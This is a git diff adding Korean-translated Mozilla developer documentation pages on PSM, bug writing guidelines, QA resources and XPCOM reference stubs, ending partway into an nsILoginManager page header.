@@ -0,0 +1,15 @@
+---
+title: Personal Security Manager (PSM)
+slug: Mozilla/Projects/PSM
+translation_of: Mozilla/Projects/PSM
+---
+<p>Personal Security Manager (PSM)는 클라이언트 어플리케이션을 대신하여 암호화 동작을 수행하는 라이브러리 셋으로 구성되어 있습니다. 이 암호화 동작에는 SSL 연결 설정, 오브젝트 사이닝(object signing), 서명 확인(signature verification), 증명 관리(certificate management - issuance 및 revocation 포함) 및 기타 일반적인 PKI 기능이 포함됩니다.</p>
+
+<p>주 :</p>
+
+<ul>
+ <li>PSM은 현재 <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Developer_guide/Build_Instructions"><u><font color="#0066cc">Firefox와 같이 빌드</font></u></a>되기 때문에 별도의 빌드 지침은 존재하지 않습니다.</li>
+ <li><a href="http://www-archive.mozilla.org/projects/security/pki/psm/"><u><font color="#0066cc">PSM에 관련된 문서 정보 </font></u></a></li>
+</ul>
+
+<p> </p>
diff --git a/files/ko/mozilla/qa/bug_writing_guidelines/index.html b/files/ko/mozilla/qa/bug_writing_guidelines/index.html
new file mode 100644
index 0000000000..886539d894
--- /dev/null
+++ b/files/ko/mozilla/qa/bug_writing_guidelines/index.html
@@ -0,0 +1,177 @@
+---
+title: 버그 작성 지침
+slug: Mozilla/QA/Bug_writing_guidelines
+tags:
+  - Bugzilla
+  - QA
+  - 버그
+translation_of: Mozilla/QA/Bug_writing_guidelines
+---
+<div class="note">
+<p>이 페이지는 2014년 4분기에 모질라 QA팀의  테크니컬 리뷰를 받아야합니다.(<span style="font-size: 14.3999996185303px; line-height: 16.7999992370605px;">Ioana </span><span style="font-size: 14.3999996185303px; line-height: 16.7999992370605px;">Chiorean님이 담당합니다) QMO의 </span><a class="link-https" href="https://quality.mozilla.org/docs/bugzilla/starter-kit/how-to-write-a-proper-bug/" style="font-size: 14px; line-height: 1.5;">How to write a proper bug</a>페이지 글이 이 글로 병합되었습니다.</p>
+
+<p><strong style="font-size: 14px; line-height: 1.5;">모질라 소프트웨어를 사용하는데 도움이 필요하다면  </strong><strong style="font-size: 14.3999996185303px; line-height: 16.7999992370605px;"><a href="http://www.mozilla.org/support/">지원 페이지</a></strong><strong style="font-size: 14px; line-height: 1.5;">에서 해당 소프트웨어를 선택하시기 바랍니다. 이 페이지는 수정하면 안됩니다. 모질라의 버그 추적 시스템인 </strong><strong style="font-size: 14.3999996185303px; line-height: 16.7999992370605px;"><a class="link-https" href="https://bugzilla.mozilla.org/">Bugzilla</a>를 사용하는 방법을 배우는데에 사용해주시기 바랍니다.</strong></p>
+
+<p><span style="font-size: 14px; line-height: 1.5;">버그 리포팅이 처음이라면 유경험자에게 도움을 받아야할 수도 있습니다. </span><a href="/en-US/docs/QA" style="font-size: 14.3999996185303px; line-height: 16.7999992370605px;">QA</a><span style="font-size: 14px; line-height: 1.5;">페이지의 커뮤니티 섹션을 참고하시기 바랍니다. 파이어폭스의 버그를 리포팅하려면 </span><a href="http://irc.mozilla.org/" style="font-size: 14.3999996185303px; line-height: 16.7999992370605px;">irc.mozilla.org</a><span style="font-size: 14px; line-height: 1.5;"> 의 </span><span style="font-family: monospace; font-size: 14.3999996185303px; line-height: 16.7999992370605px;">#firefox</span><span style="font-size: 14.3999996185303px; line-height: 16.7999992370605px;"> 채널에서 도움을 받을 수도 있습니다.</span></p>
+</div>
+
+<p>효과적인 버그 리프트는 수정될 수 있을것 같이 작성한 것입니다. 이 가이드 라인은 그런 보고서를 작성하기 위한 방법을 설명합니다.</p>
+
+<h2 id="선행준비">선행준비</h2>
+
+<ol>
+ <li>당신의 소프트웨어가 최신버전인지 확인하십시오.
+  <ul>
+   <li>이상적으로는 개발중인 버전을 테스트하여 버그가 이미 수정되었는지 확인하십시오. (예 : <a href="http://www.mozilla.com/en-US/firefox/channel/">Firefox Beta, Aurora</a>, or bleeding-edge <a class="link-https" href="https://nightly.mozilla.org/">Nightly</a>).</li>
+  </ul>
+ </li>
+ <li><a class="link-https" href="https://bugzilla.mozilla.org/">Bugzilla</a> 에서 해당 버그가 발견되었는지 확인하십시오. (<a href="http://www.mozilla.org/quality/help/screening-duplicates.html">예제</a>).</li>
+ <li><a href="https://bugzilla.mozilla.org/enter_bug.cgi?format=guided">새로운 버그리포트</a>를 작성할때에는 대부분 버그 리포팅 방법을 안내합니다.
+  <ul>
+   <li>여러 가지 이슈사항을 가지고 있다면, 버그리포트를 각각 분리해서 제출하십시오.</li>
+  </ul>
+ </li>
+</ol>
+
+<h2 id="재현가능한_정확한_단계_작성">재현가능한 정확한 단계 작성</h2>
+
+<p>어떻게 개발자는 자신의 컴퓨터에서 버그를 재현할 수 있을까요?</p>
+
+<p>재현 단계는 버그 보고서 전체에서 <strong>가장 중요한 부분</strong>입니다.  개발자가 버그를 재현 가능한 경우에 고쳐질 가능성이 매우 높습니다. 만약 이 과정이 명확하지 않은 경우에는, 버그가 수정되었는지조차 모를 수도 있습니다.</p>
+
+<p>각 단계의 의도와 더불어 Firefox와의 상호작용을 개연성있게 설명하십시오.</p>
+
+<ul>
+ <li>잘못된 예 : "다른 창에서 Gmail 열기"</li>
+ <li>올바른 예 : "Cmd + N을 눌러 새 브라우저 창을 열고, 검색 주소창에 https://mail.google.com/을 입력하고 Enter 키를 누르십시오. "</li>
+</ul>
+
+<p>당신이 지시한 단계를 진행한 후, 예상했던 결과와 관찰력롸를 명확하게 설명하십시오. 추측에서 명확하게 관찰결과를 분리하십시오.</p>
+
+<ul>
+ <li>잘못된 예 : "동작하지 않습니다."</li>
+ <li>
+  <p>올바른 예 : "내 편지함이 보이지 않고, 다음과 같은 메시지가 출력됩니다. '당신의 브라우저는 쿠키를 지원하지 않습니다. (error -91)' "</p>
+ </li>
+</ul>
+
+<p>버그가 심각해보이는 경우, 버그를 재현하는 중요 단계중에 당신이 설정한 일반적이지 않은 설정이 있을 수 있습니다. 만약 당신이 작성한 버그가 <a href="http://support.mozilla.com/en-US/kb/Managing-profiles">새 Firefox 프로필</a>에서 재현되는지 확인하십시오. 만약 당신의 기존 프로필에서만 버그가 발생한다면, 어떤 설정이나 확장도구, 혹은 <a href="http://support.mozilla.com/en-US/kb/Profiles">당신의 프로필 파일</a>이 버그를 재현하는데 필요합니다.</p>
+
+<ul>
+ <li><a href="http://www.chiark.greenend.org.uk/~sgtatham/bugs.html#intermittent">만약 해당 버그 발생 원인을 알 수 없거나 가끔씩 나타나면 어떻게 해야할까요?</a></li>
+</ul>
+
+<h2 id="명확한_요약문_작성"><strong>명확한 요약문 작성</strong></h2>
+
+<p>어떻게하면 간략하게 버그를 설명할 수 있을까요? 이것은 버그 관리자(Triager)나 개발자가 볼 문서의 첫 부분입니다.</p>
+
+<p>좋은 요약문은 짧고 명확하게 구분가능하게 작성되어야 합니다. 그리고 해결책이 아닌 문제에 집중하여 설명해야합니다.</p>
+
+<ul>
+ <li>좋은 예 : "파일 복사 메시지에서 취소를 누르면, 파일관리자에서 오류가 발생함."</li>
+ <li>나쁜 예 : "소프트웨어 오류"</li>
+</ul>
+
+<ul>
+ <li>좋은 예 : "overflow : hidden으로 스타일이 지정된 &lt;textarea&gt;에서 아래쪽 화살표 스크롤이 작동하지 않습니다."</li>
+ <li>나쁜 예 : "내 웹사이트에서 브라우저가 동작해야합니다."</li>
+</ul>
+
+<h2 id="Finding_the_correct_product_and_component" name="Finding_the_correct_product_and_component"><strong style="font-weight: bold;">Finding the correct product and component</strong></h2>
+
+<p>You will be asked to categorize your bug into a "product" and a "component" within that product, in order to direct your report to the correct developers.</p>
+
+<p>If you're using Firefox, the bug is most likely in "Firefox", "Toolkit", or "Core".</p>
+
+<ul>
+ <li><a class="link-https" href="https://bugzilla.mozilla.org/describecomponents.cgi?product=Firefox">List of components in the "Firefox" product</a> - Most parts of Firefox that you interact with directly</li>
+ <li><a class="link-https" href="https://bugzilla.mozilla.org/describecomponents.cgi?product=Toolkit">List of components in the "Toolkit" product</a> - Interface widgets and some frontend features</li>
+ <li><a class="link-https" href="https://bugzilla.mozilla.org/describecomponents.cgi?product=Core">List of components in the "Core" product</a> - Web page rendering, networking, etc.</li>
+</ul>
+
+<p>When in doubt, search for similar bugs and see what component they are in.</p>
+
+<p>If none of the components seem appropriate, look for a "General" component in the most appropriate product.</p>
+
+<h2 id="Specific_types_of_bugs">Specific types of bugs</h2>
+
+<p>If you are reporting a <strong>crash bug</strong>, please <a href="/en-US/docs/How_to_get_a_stacktrace_for_a_bug_report">include a Breakpad ID or attach stack trace</a>, and include the crash signature in the bug summary.</p>
+
+<p>If you are reporting a <strong>memory use or leak bug</strong>, please attach the output of about:memory (Firefox 6+). Ideally, find steps to reproduce an increase in what is shown in about:memory (even after clicking the "Minimize memory usage" button at the bottom). If you have trouble finding steps to reproduce, try the Firefox Support page titled <a href="http://support.mozilla.com/en-US/kb/High%20memory%20usage">High Memory Usage</a>. If you are a C++ developer, <a class="link-https" href="https://wiki.mozilla.org/Performance:Leak_Tools">more precise tools are available</a>.</p>
+
+<p>If you are reporting a <strong>bug involving a specific web page</strong>, please try to make a <a href="/en-US/docs/Reducing_testcases">reduced testcase</a> and attach it to the bug report.</p>
+
+<p>If the bug was <strong>recently introduced</strong>, finding a <a href="http://quality.mozilla.org/docs/bugzilla/guide-to-triaging-bugs-for-firefox/finding-a-regression-window/">regression window</a> can help identify the cause of the bug.</p>
+
+<div class="originaldocinfo">
+<h2 id="Original_document_information">Original document information</h2>
+
+<ul>
+ <li>Author(s): Jesse Ruderman, Gervase Markham</li>
+ <li>Other Contributors: Eli Goldberg, Claudius Gayle, Jan Leger, Felix Miata, Peter Mock, Chris Pratt, Chris Yeh, and others.</li>
+</ul>
+</div>
+
+<hr>
+<div class="note">
+<p>The following article has been merged into this page from QMO: <a class="link-https" href="https://quality.mozilla.org/docs/bugzilla/starter-kit/how-to-write-a-proper-bug/">How to write a proper bug</a></p>
+</div>
+
+<h2 id="Bug_Validity_Checklist">Bug Validity Checklist</h2>
+
+<h3 id="Verify_the_problem_you_found_is_a_New_Bug">Verify the problem you found is a New Bug</h3>
+
+<p>To verify if what you've found is indeed a new software bug in one of Mozilla's products, go through the following checklist to make sure it's something worth creating a new bug report for.</p>
+
+<ul>
+ <li>Make sure it's a <a href="http://support.mozilla.com/tiki-wiki_rankings.php?limit=500&amp;categId=1" title="Support @ Mozilla">software bug</a>. It should be either an error, flaw, mistake failure of fault in the browser that produces an incorrect and/or unexpected result.</li>
+ <li>See if it's an already known bug by looking at your particular version's <a href="http://www.mozilla.com/en-US/firefox/releases/">release notes</a></li>
+ <li>Make sure that no one has already fixed the problem by re-verifying the bug against the latest trunk nightly located <a href="http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/latest-trunk/">here</a></li>
+ <li>Make sure there isn't a duplicate bug already created by using this handy <a href="https://developer.mozilla.org/En/Screening_duplicate_bugs#Searching guide">guide</a> to search through Bugzilla for your problem</li>
+</ul>
+
+<p>If you're lost and not sure what to do always check out the IRC channel, #qa, at irc.mozilla.org and ask there. If no one answers, try posting to our Bugzilla <a href="/forums/quality-assurance-discussion/bugs">forums</a>. Otherwise if you haven't found your software bug, its time to write a bug report!</p>
+
+<h2 id="The_Bug_Report">The Bug Report</h2>
+
+<h3 id="Where_do_I_go_to_create_a_bug">Where do I go to create a bug?</h3>
+
+<ul>
+ <li>Mozilla's main tracking tool for reporting, investigating and fixing bugs is located <a href="http://bugzilla.mozilla.org/Bugzilla">here</a>. The first step in order to log a bug, is to register an account. To do that, go to Bugzilla's home page and click on the "New Account" hyperlink at the top of the page.</li>
+ <li>After registering and then logging into your new account, go back to the Bugzilla home page and click on the "New" hyperlink at the top of the page. Click the product that the bug is found in and fill out the resulting form. If you have any issues with finding the product you want to file the bug for, go to the #qa channel at irc.mozilla.org and ask for help from our very friendly MozQA community.</li>
+</ul>
+
+<h3 id="What_does_the_community_want_to_see_in_a_bug_report">What does the community want to see in a bug report?</h3>
+
+<p>There are a couple of generally-held principles that should be taken into account when creating a bug. They would be the following:</p>
+
+<ul>
+ <li>Keep the Description and Summary <u>clear</u> and <u>concise</u></li>
+ <li>Only report one issue in a bug report</li>
+ <li>Report only facts in your bugs and remove any assumptions you might have</li>
+</ul>
+
+<h3 id="General_Outline_of_a_Bug_Report">General Outline of a Bug Report</h3>
+
+<ul>
+ <li><strong>Summary</strong>: How would you describe the bug in less than 60 characters? It should quickly and uniquely identify a bug report as well as explain the problem, not your suggested solution.Good: "Cancelling a File Copy dialog crashes File Manager" Bad: "Software crashes" Bad: "Browser should work with my web site"</li>
+ <li><strong>Component</strong>: In which sub-part of the software does it exist?This field is a requirement to submit any bug report. Click the word "Component" to see a description of each component. If none seems appropriate, highlight the "General" component.</li>
+ <li><strong>OS</strong>: On which operating system (OS) did you find it? (e.g. Linux, Windows XP, Mac OS X.)Example: "<em>If you know the bug happens on more than one type of operating system, choose "All". If your OS isn't listed, choose Other".</em></li>
+ <li><strong>Description</strong>: The details of your problem report, including:-<u>Overview</u>: This is a larger detailed restatement of the summary. An example would be: <em>"Drag-selecting any page crashes Mac builds in the NSGetFactory function"</em>. -<u>Build Id</u>: To find this either go to the "about:" page via the location bar or, if you have MozQA's <a href="https://addons.mozilla.org/en-US/firefox/addon/nightly-tester-tools/">Nightly Tester Tools</a> extension, then go to Tools | Nightly Tester Tools and select the option that contains the output of the build Id. It should look something like this: <em>"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3"</em>. -<u>Additional Builds and Platforms</u>: Whether or not the bug takes place on other platforms (or browsers, if applicable). It should look something like this: <em>"Doesn't Occur On Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3) Gecko/20081107 Firefox/3.1b2"</em>.</li>
+ <li><strong>Steps to Reproduce</strong>: Minimized, easy-to-follow steps that will trigger the bug. If they're necessary, make sure to include any special setup steps.A good example of this would look like the following: 1) View any web page. (I used the default sample page, http://www.google.com/). 2) Drag-select the page. Specifically, while holding down the mouse button, drag the mouse pointer downwards from any point in the browser's content region to the bottom of the browser's content region.</li>
+ <li><strong>Actual Results</strong>: What the application did after performing the above steps.An example would be: <em>The application crashed.</em></li>
+ <li><strong>Expected Results</strong>: What the application should have done, were the bug not present.An example would be: <em>The window should scroll downwards. Scrolled content should be selected. Or, at least, the application should not crash.</em></li>
+</ul>
+
+<p>Continue reading <a href="http://quality.mozilla.org/docs/bugzilla/starter-kit/how-to-write-a-proper-bug-part-2/">How to Write a Proper Bug Report Part 2</a></p>
+
+<div class="originaldocinfo">
+<h2 id="Original_document_information_2">Original document information</h2>
+
+<ul>
+ <li>Author(s): Aakash Desai</li>
+ <li>Date last modified: June 3, 2013 at 2:41 am PST</li>
+</ul>
+</div>
+
+<p>Triager 라는 직업군을 처음봤으나 구글 검색결과 가장 의미에 부합하는 단어로 번역해봤습니다.</p>
diff --git a/files/ko/mozilla/qa/index.html b/files/ko/mozilla/qa/index.html
new file mode 100644
index 0000000000..87214803b6
--- /dev/null
+++ b/files/ko/mozilla/qa/index.html
@@ -0,0 +1,65 @@
+---
+title: 'QA: Quality assurance at Mozilla'
+slug: Mozilla/QA
+translation_of: Mozilla/QA
+---
+<p><span class="seoSummary">QA부서에서 Mozilla 프로젝트를 함께 도울 수 있는 많은 것들이 있으며, 모두 코드를 필요로 하는건 아닙니다. 일부는 심지어 HTML이나 기타 웹 기술을 배우고, 필요로 하지도 않습니다. 테스트와 기타 QA활동으로 우리를 도우는데 관심이 있으시다면,  <a class="external" href="http://quality.mozilla.org/">quality.mozilla.org</a>를 먼저 볼 수 있을겁니다..</span></p>
+
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h2 class="Documentation" id="Documentation" name="Documentation">문서</h2>
+
+    <dl>
+     <dt><a href="/en-US/docs/Mozilla/QA/Bug_writing_guidelines" title="/en-US/docs/Mozilla/QA/Bug_writing_guidelines">버그 작성 지침</a></dt>
+     <dd>보다 효과적으로 엔지니어가 버그를 고칠 수 있다는 가능성을 보고할 수 있습니다. 다음 지침을 통해, 버그를 모질라 엔지니어의 heep의 상단에 머물고, 고정되는것을 보장할 수 있습니다.</dd>
+     <dt style="font-weight: 700;"><a class="internal" href="/en-US/docs/Mozilla/QA/Confirming_unconfirmed_bugs" title="en-US/docs/Confirming unconfirmed bugs">확인되지 않은 버그 확인</a></dt>
+     <dd style="margin-left: 0; margin-bottom: .5em; padding-left: 15px;">최종 사용자의 유용한 버그 리포트만 식별하고 나머지는 닫습니다.</dd>
+     <dt style="font-weight: 700;"><a href="/en-US/docs/Screening_duplicate_bugs">중복 버그 심사</a></dt>
+     <dd style="margin-left: 0; margin-bottom: .5em; padding-left: 15px;">이미 나온 중복 보고서를 피하거나, 보고서를 수신함으로서 더 빠르게 버그를 수정하는데 도움을 얻릉 수 있습니다.</dd>
+     <dt><a href="/en-US/docs/Mozilla/QA/Reducing_testcases" title="en-US/docs/Reducing testcases">testcases 감소</a></dt>
+     <dd>개발자는 버그를 이해하고, 자동화 된 테스트를 만드는데 사용할 수 있어, 도움이 되는 간단한 테스트 케이스로 깨진 웹 페이지를 만들어 버그 리포트를 향상시킬 수 있습니다.</dd>
+     <dt><a href="/en-US/docs/Mozilla/QA/Robocop" title="/en-US/docs/Mozilla/QA/Robocop">Robocop</a></dt>
+     <dd>로보캅. Firefox for Android에 사용되는 자동화 된 테스트 시스템에 대한 설명서를 참조하십시오.</dd>
+     <dt><a href="/en-US/docs/Mozilla/QA/Automated_testing" title="/en-US/docs/Mozilla/QA/Automated_testing">Mozilla에서 자동화 된 테스트</a></dt>
+     <dd>모질라 코드에 대한 자동화된 테스트를 생성하시고 사용하는 방법에 대한 설명서를 참조하십시오.</dd>
+     <dt><a href="/en-US/docs/Mozilla/QA/Developing_tests" title="en-US/docs/Developing_Tests">개발 테스트</a></dt>
+     <dd>미래의 변화가 모질라에서 현재 제대로 작동되는 일들을 방해하지 않는지 확인하기 위함.</dd>
+     <dt><a href="/en-US/docs/Mozilla/QA/Avoiding_intermittent_oranges" title="en-US/docs/QA/Avoiding intermittent oranges">간혈적인 oranges 방지</a></dt>
+     <dd>검사 결과가 더 신뢰할 수 있도록 하는 방법에 대한 제한으로, 임의의 간혈적인 검사가 오류를 방지하는데 도움이 됩니다.</dd>
+    </dl>
+
+    <p><span class="alllinks"><a href="/en-US/docs/tag/QA" title="en-US/docs/tag/QA">모두보기...</a></span></p>
+   </td>
+   <td>
+    <h2 class="Community" id="Community" name="Community">커뮤니티</h2>
+
+    <ul>
+     <li><a class="external" href="http://quality.mozilla.org/">QMO | quality.mozilla.org</a></li>
+     <li>Mozilla 포럼 보기...
+      <div></div>
+     </li>
+     <li><a href="https://quality.mozilla.org/docs/misc/getting-started-with-irc/#channels">IRC channels 리스트</a></li>
+     <li>MozillaZine 포럼: <a class="external" href="http://forums.mozillazine.org/viewforum.php?f=23">Firefox Builds</a>, <a class="external" href="http://forums.mozillazine.org/viewforum.php?f=29">Thunderbird Builds</a></li>
+    </ul>
+
+    <h2 class="Tools" id="Tools" name="Tools">도구</h2>
+
+    <ul>
+     <li><a href="/en-US/docs/Bugzilla" title="en-US/docs/Bugzilla">Bugzilla</a> -모질라 프로젝트를 위한 버그 데이터베이스</li>
+     <li><a class="external" href="http://litmus.mozilla.org/">Litmus</a></li>
+     <li><a href="/en-US/docs/QA/Stress_Testing" title="en-US/docs/QA/Stress_Testing">Stress Testing</a></li>
+    </ul>
+
+    <p><span class="alllinks"><a href="/en-US/docs/tag/QA:Tools" title="en-US/docs/tag/QA:Tools">모두보기...</a></span></p>
+
+    <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">관련 항목</h2>
+
+    <ul>
+     <li><a href="/en-US/docs/Developer_Guide" title="en-US/docs/Developing_Mozilla">Developing Mozilla</a></li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ko/mozilla/tech/index.html b/files/ko/mozilla/tech/index.html
new file mode 100644
index 0000000000..b891a01cb4
--- /dev/null
+++ b/files/ko/mozilla/tech/index.html
@@ -0,0 +1,13 @@
+---
+title: Mozilla technologies
+slug: Mozilla/Tech
+tags:
+  - XUL
+  - 모질라
+  - 시작하기
+  - 참조
+translation_of: Mozilla/Tech
+---
+<p>모질라 프로젝트의 컴포넌트로 사용되는 몇가지 기술이 있습니다. 이 문서는 이를 기술합니다. (현재 모든 하위문서가 번역되진 않았습니다.)</p>
+
+<p>{{LandingPageListSubpages}}</p>
diff --git a/files/ko/mozilla/tech/xpcom/guide/index.html b/files/ko/mozilla/tech/xpcom/guide/index.html
new file mode 100644
index 0000000000..898a1f2b20
--- /dev/null
+++ b/files/ko/mozilla/tech/xpcom/guide/index.html
@@ -0,0 +1,16 @@
+---
+title: XPCOM guide
+slug: Mozilla/Tech/XPCOM/Guide
+tags:
+  - Landing
+  - Mozilla
+  - NeedsTranslation
+  - TopicStub
+  - XPCOM
+translation_of: Mozilla/Tech/XPCOM/Guide
+---
+<p><span class="seoSummary">These articles provide tutorials and usage documentation for XPCOM, including how to use it in your own projects and how to build XPCOM components for your Firefox add-ons and the like.</span></p>
+<p></p><div class="row topicpage-table">
+    <div class="section"><dl><dl><dt></dt></dl></dl></div>
+    <div class="section"><dl><dt class="landingPageList"><a href="/ko/docs/Creating_XPCOM_Components">Creating XPCOM Components</a></dt><dd class="landingPageList"></dd></dl></div>
+    </div><p></p>
diff --git a/files/ko/mozilla/tech/xpcom/language_bindings/index.html b/files/ko/mozilla/tech/xpcom/language_bindings/index.html
new file mode 100644
index 0000000000..3bdc969de3
--- /dev/null
+++ b/files/ko/mozilla/tech/xpcom/language_bindings/index.html
@@ -0,0 +1,25 @@
+---
+title: Language bindings
+slug: Mozilla/Tech/XPCOM/Language_Bindings
+tags:
+  - Embedding
+  - Landing
+  - Mozilla
+  - NeedsTranslation
+  - TopicStub
+  - XPCOM
+  - 'XPCOM:Language Bindings'
+translation_of: Mozilla/Tech/XPCOM/Language_Bindings
+---
+<p>An <strong>XPCOM Language Binding</strong> is a bridge between a particular language and <a href="/en/XPCOM" title="en/XPCOM">XPCOM</a> to provide access to XPCOM objects from that language, and to let modules written in that language be used as XPCOM objects by all other languages for which there are XPCOM bindings.</p>
+<p>More specifically, an XPCOM language binding:</p>
+<ul>
+ <li>Enables <em>access to XPCOM objects from that language</em> (where access means reading/writing/creating XPCOM objects as well as calling methods on them).</li>
+ <li>Exposes <em>modules written in the bound language as XPCOM objects</em>, thereby enabling all other languages for which XPCOM bindings exist to access these modules.</li>
+</ul>
+<p>Since the XPCOM layer itself is written in C/C++, its API can be accessed out-of-the-box using C or C++. In order to allow any other language to use the XPCOM API, a bridging layer is required.</p>
+<p>The following bridging layers are currently available:</p>
+<p></p><div class="row topicpage-table">
+    <div class="section"><dl><dl><dt></dt></dl></dl></div>
+    <div class="section"><dl><dt class="landingPageList"><a href="/ko/docs/PyXPCOM">PyXPCOM</a></dt><dd class="landingPageList"></dd></dl></div>
+    </div><p></p>
diff --git a/files/ko/mozilla/tech/xpcom/reference/index.html b/files/ko/mozilla/tech/xpcom/reference/index.html
new file mode 100644
index 0000000000..5a7636ec04
--- /dev/null
+++ b/files/ko/mozilla/tech/xpcom/reference/index.html
@@ -0,0 +1,30 @@
+---
+title: XPCOM reference
+slug: Mozilla/Tech/XPCOM/Reference
+tags:
+  - Add-ons
+  - Extensions
+  - Landing
+  - Mozilla
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - XPCOM
+translation_of: Mozilla/Tech/XPCOM/Reference
+---
+<p>This reference describes the interfaces and functions provided by the <a href="/en-US/docs/Mozilla/Tech/XPCOM">XPCOM</a> library. In addition, it details the various helper classes and functions, as well as the components, provided by the <a href="/en-US/docs/Mozilla/Tech/XPCOM/Glue">XPCOM glue</a> library. The contents herein are oriented primarily toward extension developers and people embedding XPCOM in other projects.</p>
+
+<div class="warning">
+<p><strong>WebExtensions are becoming the new standard for creating add-ons. </strong>Eventually support for XPCOM add-ons will be deprecated, so you should begin to investigate porting your add-ons to use the <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions">WebExtensions</a> API, and <a href="https://mzl.la/webext-feature-needed">report any missing functionality</a> so we can be sure to address your concerns. Work is ongoing on WebExtension capabilities, so your input will help prioritize and plan the work. To learn more about the kinds of changes that will be needed, see <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Comparison_with_XUL_XPCOM_extensions">Comparison with XUL/XPCOM extensions</a>. In addition, any binaries you use will then need to be converted for use with the WebExtensions <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Native_messaging">native messaging</a> API, or compiled using <a href="https://webassembly.github.io/">WebAssembly</a> or <a href="/en-US/docs/Mozilla/Projects/Emscripten">Emscripten</a>.</p>
+</div>
+
+<div class="note">
+<p>If you're working on a module in the Mozilla codebase that's compiled with the <code>MOZILLA_INTERNAL_API</code> flag set, some of these APIs -- the string functions and classes in particular -- are not the ones you should be using. See the <a href="/en-US/docs/Mozilla/Tech/XPCOM/Guide/Internal_strings">XPCOM internal string guide</a> for documentation of the internal string API used within the Mozilla codebase.</p>
+</div>
+
+<p></p><div class="row topicpage-table">
+    <div class="section"><dl><dl><dt></dt></dl></dl></div>
+    <div class="section"><dl><dt class="landingPageList"><a href="/ko/docs/XPCOM_Interface_Reference">XPCOM Interface Reference</a></dt><dd class="landingPageList">This is a reference to the XPCOM interfaces provided by the Mozilla platform.</dd></dl></div>
+    </div><p></p>
+
+<p>Many XPCOM pages return an <code><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Core_functions/nsresult">nsresult</a></code>. Prior to Gecko 19 (Firefox 19 / Thunderbird 19 / SeaMonkey 2.16), this was an integer that simply returned an error code. It is now a strongly typed <code>enum</code> when XPCOM is built using a C++11 compiler. This causes compile-time errors to occur when improper values are returned as nsresult values, thereby making it easier to catch many bugs.</p>
diff --git a/files/ko/mozilla/tech/xpcom/reference/interface/about_scriptable_interfaces/index.html b/files/ko/mozilla/tech/xpcom/reference/interface/about_scriptable_interfaces/index.html
new file mode 100644
index 0000000000..d282b17f13
--- /dev/null
+++ b/files/ko/mozilla/tech/xpcom/reference/interface/about_scriptable_interfaces/index.html
@@ -0,0 +1,26 @@
+---
+title: About Scriptable Interfaces
+slug: Mozilla/Tech/XPCOM/Reference/Interface/About_Scriptable_Interfaces
+tags:
+  - 'Interfaces:Scriptable'
+translation_of: Interfaces/About_Scriptable_Interfaces
+---
+<p> </p>
+
+<h3 id=".EB.AC.B8.EC.84.9C.EC.9D.98_.EC.83.81.ED.83.9C" name=".EB.AC.B8.EC.84.9C.EC.9D.98_.EC.83.81.ED.83.9C">문서의 상태</h3>
+
+<p>이 문서는 시작단계이고 문서를 완성할 생각이 없을 지도 모릅니다. 이 문서에 있는 정보들은 <a class="external" href="http://www.mozilla.org/scriptable/" rel="freelink">http://www.mozilla.org/scriptable/</a> 와 <a href="ko/Creating_XPCOM_Components">XPCOM 컴포넌트 만들기</a>에 있는 내용을 기반으로 합니다.</p>
+
+<h3 id=".EC.8A.A4.ED.81.AC.EB.A6.BD.ED.84.B0.EB.B8.94_.EC.9D.B8.ED.84.B0.ED.8E.98.EC.9D.B4.EC.8A.A4.28Scriptable_Interface.29" name=".EC.8A.A4.ED.81.AC.EB.A6.BD.ED.84.B0.EB.B8.94_.EC.9D.B8.ED.84.B0.ED.8E.98.EC.9D.B4.EC.8A.A4.28Scriptable_Interface.29">스크립터블 인터페이스(Scriptable Interface)</h3>
+
+<p><a href="ko/Creating_XPCOM_Components/An_Overview_of_XPCOM#Interfaces">인터페이스</a>는 XPCOM 컴포넌트의 자세한 세부 구현을 감추면서 기능을 외부 세계로 노출할 수 있도록 해 줍니다. <a href="ko/Creating_XPCOM_Components/An_Overview_of_XPCOM#Interfaces">인터페이스</a>는 <a href="ko/XPIDL">IDL(인터페이스 기술 언어)</a>로 작성됩니다.</p>
+
+<p>interface에 scriptable 라벨링 한다는 것은, 스크립트 언어(예: <a href="ko/JavaScript">JavaScript</a>)를 이용하여 인터페이스를 통해 컴포넌트를 참조할 수 있으며 또한 인터페이스를 구현한 새로운 컴포넌트를 작성할 수 있다는 것을 의미합니다.</p>
+
+<h3 id="XPConnect" name="XPConnect">XPConnect</h3>
+
+<p><a href="ko/XPConnect">XPConnect</a>는 <a href="ko/JavaScript">JavaScript</a> 언어로 스크립터블 인터페이스를 사용하거나 구현할 수 있게 해 주는 기술입니다. 다른 스크립트 언어들에서는 <a href="ko/XPConnect">XPConnect</a>을 지원하지 않습니다.</p>
+
+<h3 id="Python" name="Python">Python</h3>
+
+<p>Python 스크립트에서 스크립터블 인터페이스를 사용하거나 구현할 수 있게 해주는 <a href="ko/XPCOM">XPCOM</a>와 Python<a class="external" href="http://python.org/">을 연결하는 확장 기능 {{ Source("extensions/python") }} 이 있습니다. </a></p>
diff --git a/files/ko/mozilla/tech/xpcom/reference/interface/nsiloginmanager/index.html b/files/ko/mozilla/tech/xpcom/reference/interface/nsiloginmanager/index.html
new file mode 100644
index 0000000000..c417f645f5
--- /dev/null
+++ b/files/ko/mozilla/tech/xpcom/reference/interface/nsiloginmanager/index.html
@@ -0,0 +1,372 @@
+---
+title: nsILoginManager
+slug: Mozilla/Tech/XPCOM/Reference/Interface/nsILoginManager
+tags:
+  - Firefox 3
+  - Interfaces
+  - 'Interfaces:Scriptable'
+  - Login Manager
+  - NeedsTranslation
+  - Thunderbird 3
+  - TopicStub
+  - XPCOM
+  - XPCOM API Reference
+  - thunderbird
+translation_of: Mozilla/Tech/XPCOM/Reference/Interface/nsILoginManager
+---
+<p></p><div style="border: solid #ddd 2px; margin-bottom: 12px;">
